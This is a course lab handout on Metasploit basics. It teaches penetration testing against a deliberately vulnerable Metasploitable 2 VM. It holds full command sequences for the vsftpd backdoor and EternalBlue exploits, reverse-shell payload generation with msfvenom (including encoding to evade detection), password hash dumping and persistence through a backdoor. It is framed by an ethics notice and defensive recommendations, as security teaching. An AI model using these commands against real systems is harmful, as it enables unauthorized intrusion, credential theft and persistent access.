

Fundamentals of Information Systems Security

Lab 6: Metasploit Basics

Introduction to the World's Most Popular Penetration Testing Framework

Version: 1.0

Estimated Time: 2-3 Hours

Difficulty Level: Intermediate

Prerequisites: Labs 1-2

Contents

1	Introduction	3
1.1	What is Metasploit?	3
1.2	Learning Objectives	3
1.3	Prerequisites	4
1.4	Ethical Considerations	4
2	Metasploit Architecture	5
2.1	Core Components	5
2.2	Module Types	5
2.3	Payload Types	5
3	Lab Environment Setup	6
3.1	Setting Up Metasploitable 2	6
3.2	Network Configuration	6
3.3	Starting Metasploit	6
4	Basic Metasploit Commands	6
4.1	Core Commands	6
4.2	Navigation Example	7
5	Lab Exercises	7
5.1	Exercise 1: Port Scanning with Metasploit	7
5.2	Exercise 2: Service Enumeration	8
5.3	Exercise 3: Exploiting FTP	8
5.4	Exercise 4: Exploiting SMB with EternalBlue	9
5.5	Exercise 5: Working with Meterpreter	9
5.6	Exercise 6: Generating Custom Payloads with msfvenom	10
5.7	Exercise 7: Database Integration	11
5.8	Exercise 8: Post-Exploitation Techniques	11
6	Understanding Exploit Structure	12
6.1	Anatomy of an Exploit	12
7	Common Issues and Troubleshooting	13
7.1	Frequently Encountered Issues	13
7.2	Troubleshooting Tips	13
8	Defensive Measures	13
8.1	Detecting and Preventing Exploits	13

9 Deliverables	14
10 Additional Resources	14

1 Introduction

1.1 What is Metasploit?

Metasploit is the world's most widely used penetration testing framework. Originally created by H.D. Moore in 2003, it has evolved into a comprehensive platform for developing, testing, and executing exploit code against remote targets. The framework includes:

- **Exploits:** Code that takes advantage of vulnerabilities
- **Payloads:** Code that runs on the target after exploitation
- **Auxiliary Modules:** Scanners, fuzzers, and other utilities
- **Post-Exploitation Modules:** Tools for maintaining access and gathering information
- **Encoders:** Tools to evade detection
- **NOP Generators:** Tools to create NOP sleds

Why Metasploit Matters

- Used by penetration testers worldwide
- Widely used in security certifications (CEH, OSCP, GPEN)
- Open-source and community-driven
- Continuously updated with new exploits
- Provides a standardized framework for security testing
- Includes both offensive and defensive capabilities

1.2 Learning Objectives

By the end of this lab, you will be able to:

1. Understand the Metasploit Framework architecture and components
2. Navigate the Metasploit console interface
3. Search for and select appropriate exploits
4. Configure and launch exploits against vulnerable targets
5. Work with Meterpreter payloads
6. Perform post-exploitation activities
7. Generate custom payloads
8. Understand ethical considerations of penetration testing

1.3 Prerequisites

Before beginning this lab, ensure you have:

- Kali Linux VM (from Lab 1)
- Metasploitable 2 VM (download from sourceforge.net)
- Basic understanding of networking and IP addressing
- Familiarity with Linux command line
- Understanding of common vulnerabilities (from Chapter 3)

1.4 Ethical Considerations

Important Legal Notice

- This lab is for **educational purposes only**
- Only test systems you **own** or have **explicit permission** to test
- Unauthorized access is illegal and unethical
- Use the skills learned responsibly
- Always obtain written authorization before testing

2 Metasploit Architecture

2.1 Core Components

Metasploit Architecture	
Component	Description
msfconsole	The primary command-line interface for Metasploit
msfvenom	Tool for generating payloads and encoders
msfdb	Database management for tracking hosts and results
Modules	Exploits, payloads, auxiliary, post, encoders, nops
Plugins	Extensible capabilities beyond core modules

2.2 Module Types

Type	Purpose	Examples
Exploit	Takes advantage of vulnerabilities	exploit/windows/smb/ms17_010_eternalblue
Payload	Code executed on target	windows/meterpreter/reverse_tcp
Auxiliary	Scanners, fuzzers, DoS	auxiliary/scanner/portscan/tcp
Post	Post-exploitation actions	post/windows/gather/hashdump
Encoder	Evade detection	x86/shikata_ga_nai
NOP	NOP sled generation	x86/opty2

2.3 Payload Types

Type	Description	Example
Staged	Two-stage: small stager + large stage	windows/meterpreter/reverse_tcp
Stageless	Single, self-contained payload	windows/meterpreter_reverse_tcp
Inline	Small, single-stage payload	windows/shell_reverse_tcp
Meterpreter	Advanced, multi-featured payload	windows/meterpreter/reverse_tcp

3 Lab Environment Setup

3.1 Setting Up Metasploitable 2

Metasploitable 2 is a intentionally vulnerable Linux virtual machine designed for security testing.

1. Download Metasploitable 2 from: <https://sourceforge.net/projects/metasploitable/>
2. Import the VM into VirtualBox:

```
1 File Import Appliance Select Metasploitable.ova
```

3. Start the VM and log in (default credentials: msfadmin/msfadmin)
4. Find the IP address:

```
1 ifconfig
```

5. Test connectivity from Kali:

```
1 ping <Metasploitable_IP>
```

3.2 Network Configuration

Ensure both VMs are on the same network:

VM	Network Adapter	Recommended
Kali Linux	NAT Network or Bridged	192.168.56.101
Metasploitable	NAT Network or Bridged	192.168.56.102

3.3 Starting Metasploit

```
1 # Start the Metasploit console
2 sudo msfconsole
3
4 # Wait for initialization (may take 30-60 seconds)
5 # You should see the Metasploit banner
```

4 Basic Metasploit Commands

4.1 Core Commands

Command	Description
help	Display available commands
search	Search for modules
use	Select a module
show options	Display module options
set	Set an option value
run/exploit	Execute the selected module
back	Return to the previous context
exit	Exit Metasploit

4.2 Navigation Example

```
1 # Search for modules related to SMB
2 msf6 > search smb
3
4 # Use a specific exploit
5 msf6 > use exploit/windows/smb/ms17_010_eternalblue
6
7 # Show available options
8 msf6 exploit(ms17_010_eternalblue) > show options
9
10 # Set required options
11 msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.102
12 msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/
    meterpreter/reverse_tcp
13 msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.101
14
15 # Run the exploit
16 msf6 exploit(ms17_010_eternalblue) > exploit
```

5 Lab Exercises

5.1 Exercise 1: Port Scanning with Metasploit

Exercise 1: Port Scanning

Objective: Use Metasploit's auxiliary modules to discover open ports on Metasploitable 2.

Steps:

1. Search for TCP port scanning modules:

```
1 msf6 > search portscan
```

2. Use the TCP port scanner:

```
1 msf6 > use auxiliary/scanner/portscan/tcp
2 msf6 auxiliary(scanner/portscan/tcp) > show options
```

3. Configure and run the scanner:

```
1 msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS
    192.168.56.102
2 msf6 auxiliary(scanner/portscan/tcp) > set PORTS 1-1000
3 msf6 auxiliary(scanner/portscan/tcp) > set THREADS 10
4 msf6 auxiliary(scanner/portscan/tcp) > run
```

4. Record the open ports found:

- _____ (Port 21 - FTP)
- _____ (Port 22 - SSH)
- _____ (Port 23 - Telnet)
- _____ (Port 80 - HTTP)
- _____ (Port 445 - SMB)

5. **Reflection:** Why are these ports significant from a security perspective?

5.2 Exercise 2: Service Enumeration

Exercise 2: Service Enumeration

Objective: Identify running services and their versions on Metasploitable 2.

Steps:

1. Search for SMB version scanning modules:

```
1 msf6 > search smb_version
```

2. Use the SMB version scanner:

```
1 msf6 > use auxiliary/scanner/smb/smb_version
2 msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS
  192.168.56.102
3 msf6 auxiliary(scanner/smb/smb_version) > run
```

3. Repeat for other services:

```
1 # FTP version scanner
2 use auxiliary/scanner/ftp/ftp_version
3
4 # SSH version scanner
5 use auxiliary/scanner/ssh/ssh_version
6
7 # HTTP version scanner
8 use auxiliary/scanner/http/http_version
```

4. Document the service versions:

Service	Port	Version
SMB	445	-----
FTP	21	-----
SSH	22	-----
HTTP	80	-----

5.3 Exercise 3: Exploiting FTP

Exercise 3: FTP Exploitation

Objective: Exploit the vulnerable FTP service on Metasploitable 2.

Steps:

1. Search for FTP exploit modules:

```
1 msf6 > search vsftpd
```

2. Use the vsftpd backdoor exploit:

```
1 msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
2 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

3. Configure the exploit:


```
1 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS
  192.168.56.102
2 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/
  unix/interact
3 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

4. Once successful, you should have a shell. Run:

```
1 id
2 whoami
3 exit
```

5. **Reflection:** What vulnerability did this exploit target? Why is this significant?

5.4 Exercise 4: Exploiting SMB with EternalBlue

Exercise 4: EternalBlue Exploit

Objective: Demonstrate the famous EternalBlue exploit (MS17-010).

Note: This exploit is included in Metasploit and demonstrates the severity of the vulnerability that affected Windows systems in 2017.

1. Search for the EternalBlue exploit:

```
1 msf6 > search eternalblue
```

2. Use the exploit module:

```
1 msf6 > use exploit/windows/smb/ms17_010_eternalblue
2 msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
```

3. Configure and run:

```
1 msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS
  192.168.56.102
2 msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD
  windows/x64/meterpreter/reverse_tcp
3 msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST
  192.168.56.101
4 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
```

4. **Note:** This may fail against Metasploitable 2 as it's Linux-based. For demonstration purposes, consider the technique.
5. **Reflection:** Research the real-world impact of EternalBlue. What attacks used this exploit?

5.5 Exercise 5: Working with Meterpreter

Exercise 5: Meterpreter Exploration

Objective: Explore Meterpreter capabilities after successful exploitation.

1. After a successful exploit (e.g., vsftpd or a Windows target), you should have a Meterpreter session:

```
1 meterpreter > help
```

2. Explore system information:

```
1 meterpreter > sysinfo
2 meterpreter > getuid
3 meterpreter > getpid
```

3. Navigate the file system:

```
1 meterpreter > pwd
2 meterpreter > ls
3 meterpreter > cd /tmp
4 meterpreter > upload /path/to/local/file
```

4. Gather additional information:

```
1 meterpreter > ifconfig
2 meterpreter > route
3 meterpreter > ps
```

5. Exit the session:

```
1 meterpreter > exit
```

6. **Reflection:** Why is Meterpreter considered more powerful than a standard shell?

5.6 Exercise 6: Generating Custom Payloads with msfvenom

Exercise 6: Custom Payload Generation

Objective: Create custom payloads using msfvenom.

Note: msfvenom replaced msfpayload and msfencode in 2015.

1. List available payloads:

```
1 msfvenom -l payloads
```

2. Generate a Windows reverse shell payload:

```
1 msfvenom -p windows/meterpreter/reverse_tcp LHOST
  =192.168.56.101 LPORT=4444 -f exe > payload.exe
```

3. Generate a Linux reverse shell payload:

```
1 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST
  =192.168.56.101 LPORT=4444 -f elf > payload.elf
```

4. Generate a Python reverse shell:

```
1 msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.56.101
  LPORT=4444 -f raw > payload.py
```

5. Encode a payload to avoid detection:

```
1 msfvenom -p windows/meterpreter/reverse_tcp LHOST  
  =192.168.56.101 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe  
  > encoded_payload.exe
```

6. **Reflection:** Why would an attacker use encoding? What are the limitations?

5.7 Exercise 7: Database Integration

Exercise 7: Database Management

Objective: Use Metasploit's database features for tracking hosts and vulnerabilities.

1. Start and initialize the database:

```
1 sudo systemctl start postgresql  
2 sudo msfdb init  
3 msfconsole
```

2. Check database status:

```
1 msf6 > db_status
```

3. Import scan results (using Nmap XML output):

```
1 msf6 > db_import /path/to/nmap_scan.xml
```

4. View hosts in database:

```
1 msf6 > hosts  
2 msf6 > services  
3 msf6 > vulnerabilities
```

5. **Reflection:** How does database integration improve the penetration testing workflow?

5.8 Exercise 8: Post-Exploitation Techniques

Exercise 8: Post-Exploitation

Objective: Learn post-exploitation techniques after gaining access.

1. After obtaining a Meterpreter session, explore post-exploitation modules:

```
1 meterpreter > background  
2 msf6 > search post/windows/gather/
```

2. Gather password hashes (requires Windows target):

```
1 msf6 > use post/windows/gather/hashdump  
2 msf6 post(windows/gather/hashdump) > set SESSION 1  
3 msf6 post(windows/gather/hashdump) > run
```

3. Gather system information:

```
1 msf6 > use post/windows/gather/enum_applications
2 msf6 post(windows/gather/enum_applications) > set SESSION 1
3 msf6 post(windows/gather/enum_applications) > run
```

4. Enable persistence (maintain access):

```
1 msf6 > use post/windows/manage/persistence_exe
2 msf6 post(windows/manage/persistence_exe) > set SESSION 1
3 msf6 post(windows/manage/persistence_exe) > set REXEPATH /path/
  to/backdoor.exe
4 msf6 post(windows/manage/persistence_exe) > run
```

5. **Reflection:** What are the ethical implications of post-exploitation activities?

6 Understanding Exploit Structure

6.1 Anatomy of an Exploit

Exploit Structure

```
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Example Exploit Name',
      'Description' => %q{Detailed description of the vulnerability},
      'Author' => ['Author Name'],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2023-XXXXX'],
        ['URL', 'https://example.com/advisory']
      ],
      'Payload' => {
        'Space' => 1000,
        'BadChars' => '\x00\x0a\x0d'
      },
      'Targets' => [
        ['Target Description', { ... }]
      ],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    # Exploit code here
  end
end
```

7 Common Issues and Troubleshooting

7.1 Frequently Encountered Issues

Issue	Cause	Solution
Connection Refused	Target not listening	Check port and service status
Exploit Failed	Vulnerability not present	Verify target version
Session Dropped	Network connectivity	Check firewall and routing
Timeout	Slow target	Increase timeout values
Payload Not Executing	Wrong architecture	Use correct payload

7.2 Troubleshooting Tips

1. Verify target is reachable:

```
1 ping <target_IP>
2 nmap -sS <target_IP>
```

2. Check exploit compatibility:

```
1 show targets
2 show advanced
```

3. Enable verbose output:

```
1 set VERBOSE true
2 set DEBUG true
```

4. Check Metasploit logs:

```
1 cat ~/.msf4/logs/framework.log
```

8 Defensive Measures

8.1 Detecting and Preventing Exploits

Defensive Recommendations

1. **Regular Patching:** Apply security patches promptly
2. **Network Segmentation:** Limit lateral movement
3. **Endpoint Protection:** Deploy EDR and antivirus
4. **Application Whitelisting:** Only allow approved applications
5. **Least Privilege:** Limit user and service permissions
6. **Network Monitoring:** Detect and respond to suspicious activity
7. **Regular Vulnerability Scanning:** Identify weaknesses before attackers
8. **Security Awareness Training:** Educate users about phishing

9 Deliverables

Submit a report containing:

1. Screenshots of successful port scanning
2. Screenshots of service enumeration results
3. Screenshots of Meterpreter session information
4. `msfvenom` commands used and generated payloads
5. A brief reflection on the attack methodology and defensive measures
6. Answers to the reflection questions in each exercise

10 Additional Resources

- **Official Documentation:** <https://www.metasploit.com/>
- **Rapid7 Metasploit Unleashed:** <https://www.offensive-security.com/metasploit-unleashed/>
- **Metasploit Minute:** <https://www.metasploitminute.com/>
- **Exploit-DB:** <https://www.exploit-db.com/>
- **Video Tutorials:** Multiple channels on YouTube